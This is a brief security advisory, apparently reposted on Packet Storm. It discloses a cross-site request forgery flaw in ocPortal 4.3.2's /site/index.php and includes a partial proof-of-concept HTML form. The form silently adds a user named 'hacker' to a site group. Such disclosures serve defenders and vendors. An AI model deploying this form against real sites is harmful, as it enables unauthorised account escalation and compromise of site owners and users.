ocPortal 4.3.2 Cross Site Request Forgery

Type packetstorm
Reporter High-Tech Bridge SA
Modified 2010-05-21T00:00:00


                                            `Vulnerability ID: HTB22369  
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_ocportal.html  
Product: ocPortal  
Vendor: ocProducts Ltd  
Vulnerable Version: 4.3.2 and Probably Prior Versions  
Vendor Notification: 05 May 2010   
Vulnerability Type: CSRF (Cross-Site Request Forgery)  
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response  
Risk level: Low   
Credit: High-Tech Bridge SA (http://www.htbridge.ch/)   
Vulnerability Details:  
The vulnerability exists due to failure in the "/site/index.php" script to properly verify the source of HTTP request.   
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.   
Attacker can use browser to exploit this vulnerability. The following PoC is available:   
<form action="http://host/site/index.php?page=groups&type=add_to&id=2" method="post" >  
<input type="hidden" name="username" value="hacker" >